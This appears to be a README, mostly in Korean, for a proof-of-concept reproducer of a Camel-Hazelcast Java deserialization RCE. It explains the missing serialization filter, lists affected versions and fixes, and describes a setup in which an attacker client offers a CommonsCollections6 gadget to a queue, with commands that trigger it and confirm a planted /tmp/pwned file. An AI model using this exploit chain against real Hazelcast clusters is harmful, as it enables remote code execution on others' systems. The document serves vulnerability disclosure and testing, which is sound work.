
Reproducer for CVE-2026-43865 — Apache Camel camel-hazelcast default-configured instance unsafe Java deserialization (RCE)
이 프로젝트는 Apache Camel의 camel-hazelcast 구성 요소에서 CVE-2026-43865로 추적되는 Java 역직렬화 취약점을 보여줍니다. Camel이 자체적으로 Hazelcast Config를 빌드할 때 — 즉, 사용자가 제공한 HazelcastInstance, hazelcastConfigUri 또는 참조된 Config 빈이 없는 경우 — Java 역직렬화 필터를 적용하지 않습니다 (Hazelcast의 JavaSerializationFilterConfig도, Camel 쪽 ObjectInputFilter도 적용되지 않음). 따라서 Hazelcast 클러스터 프로토콜을 통해 도착하는 객체는 클래스 제한 없이 Hazelcast의 직렬화 계층 (ObjectInputStream.readObject) 내에서 역직렬화됩니다. 클러스터에 가입하거나 접근할 수 있는 공격자는 조작된 직렬화 객체를 게시하여 모든 Camel 노드에서 역직렬화되게 할 수 있습니다 — 원격 코드 실행이며, 기본적으로 존재하고 옵트인 엔드포인트 구성이 필요하지 않습니다.
Advisory: https://camel.apache.org/security/CVE-2026-43865.html
이는 Hazelcast 라이브러리 권고 CVE-2016-10750 / CVE-2022-36418 (Hazelcast 자체 코드에 관한 것)과 다릅니다. 여기서의 결함은 Camel이 Hazelcast가 제공하는 역직렬화 보호를 적용하지 않는 것입니다.
인스턴스/구성이 제공되지 않으면 HazelcastDefaultComponent는 기본 구성에서 인스턴스를 빌드하며 직렬화 필터를 설정하지 않습니다:
// HazelcastDefaultComponent - affected 4.18.2
if (hazelcastInstance == null && config == null) {
config = new XmlConfigBuilder().build();
config.getProperties().setProperty("hazelcast.version.check.enabled", "false");
config.getProperties().setProperty("hazelcast.phone.home.enabled", "false");
hzInstance = Hazelcast.newHazelcastInstance(config); // no JavaSerializationFilterConfig
}
수정 사항은 Camel이 직접 생성한 인스턴스에 기본 필터를 적용하고 (화이트리스트 java./javax./org.apache.camel., 블랙리스트 java.net.), 사용자 제공 Config/HazelcastInstance는 그대로 둡니다:
// fixed 4.18.3 / 4.21.0
config.getProperties().setProperty("hazelcast.phone.home.enabled", "false");
HazelcastSerializationFilterHelper.applyDefault(config); // <-- added
hzInstance = Hazelcast.newHazelcastInstance(config);
역직렬화된 객체를 Camel에 전달하는 모든 구조가 이를 트리거합니다. 이 PoC는 Poll 모드의 queue consumer를 사용하며, 여기서 IQueue.poll()은 Camel이 라우팅하기 전에 헤드 요소를 역직렬화합니다:
// HazelcastQueueConsumer (Poll mode) - affected
final Object body = queue.poll(config.getPollingTimeout(), TimeUnit.MILLISECONDS); // readObject, no filter
exchange.getIn().setBody(body);
from("hazelcast-queue:cve?queueConsumerMode=Poll") // Camel builds the default (unfiltered) instance
.log("Consumed: ${body.class.name}");
피해자는 Camel 노드(Hazelcast 멤버)입니다. 공격자는 클러스터에 접근할 수 있는 모든 당사자입니다. 이 독립형 PoC는 동일한 단일 멤버 클러스터(dev on 127.0.0.1:5701)에 가입하고 피해자가 소비하는 큐에 가젯을 제공하는 Hazelcast 클라이언트(공격자)를 실행합니다.
CVE-2026-43865/
├── pom.xml # camel-hazelcast 4.18.2 + commons-collections 3.2.1 (gadget)
├── Dockerfile # runs the app (--add-opens for gadget build; loopback cluster address)
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # victim: hazelcast-queue consumer (default instance)
│ ├── Gadget.java # CommonsCollections6 gadget, fires during Hazelcast deserialization
│ └── ExploitController.java # attacker: Hazelcast client offers the gadget to the queue
└── resources/
└── application.properties
실제 공격에서는 직렬화된 바이트가 공격자 자신의 Hazelcast 클라이언트/멤버에 의해 생성됩니다. 오직 피해자만이 자신의 클래스패스에 가젯 체인이 필요합니다. 이 PoC는 가젯을 프로세스 내에서 빌드하며, 이것이 JVM이
--add-opens java.base/java.util=ALL-UNNAMED로 실행되는 이유입니다 — 가젯 구성 세부 사항이며 취약성과 관련이 없습니다.
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
# -> Offered gadget to hazelcast queue 'cve' as a cluster client.
# The Camel node's queue.poll() deserialized it via Hazelcast (no filter).
#
# >>> RCE proof — /tmp/pwned exists: true
docker exec cve-2026-43865 ls -la /tmp/pwned
docker compose down
hazelcast-topic, hazelcast-queue, hazelcast-seda, hazelcast-map, hazelcast-multimap, hazelcast-replicatedmap, hazelcast-list, hazelcast-set과 같은 hazelcast consumer를 사용하는 모든 Camel 경로, 또는 HazelcastAggregationRepository / HazelcastIdempotentRepository에서 관리 인스턴스가 Camel의 기본 구성에서 생성되고 공격자가 클러스터에 접근할 수 있을 때마다.
HazelcastInstance / hazelcastConfigUri / Config 빈이 없음).commons-collections:3.2.1).4.14.8 / 4.18.3 / 4.21.0(CAMEL-23414)로 업그레이드하십시오. 이 버전은 Camel이 자체 기본 구성에서 생성한 인스턴스에 기본 Hazelcast JavaSerializationFilterConfig를 적용합니다.
업그레이드할 때까지:
JavaSerializationFilterConfig 또는 JVM 전체 -Djdk.serialFilter=!java.net.**;java.**;javax.**;org.apache.camel.**;!*).이 재현기는 공개적으로 공개되고 수정된 취약점에 대한 보안 연구 및 승인된 테스트 전용으로 제공됩니다. 명시적 허가 없이 시스템에 대해 사용하지 마십시오.
| 속성 | 값 |
|---|
| 구성 요소 | camel-hazelcast (모든 consumer + HazelcastAggregationRepository / HazelcastIdempotentRepository) |
| 영향 받는 클래스 | org.apache.camel.component.hazelcast.HazelcastDefaultComponent (기본 구성 인스턴스 생성) |
| CWE | CWE-502: 신뢰할 수 없는 데이터의 역직렬화 |
| 영향 | 클러스터의 모든 Camel 노드에서 원격 코드 실행(RCE) |
| 트리거 | Camel의 기본 구성에서 관리 인스턴스가 생성된 hazelcast consumer/repository |
| 영향 받는 버전 | 4.0.0 이상 4.14.8 미만, 4.15.0 이상 4.18.3 미만, 4.19.0 이상 4.21.0 미만 |
| 수정된 버전 | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23414 |
| 리포터 | gaorenyusi |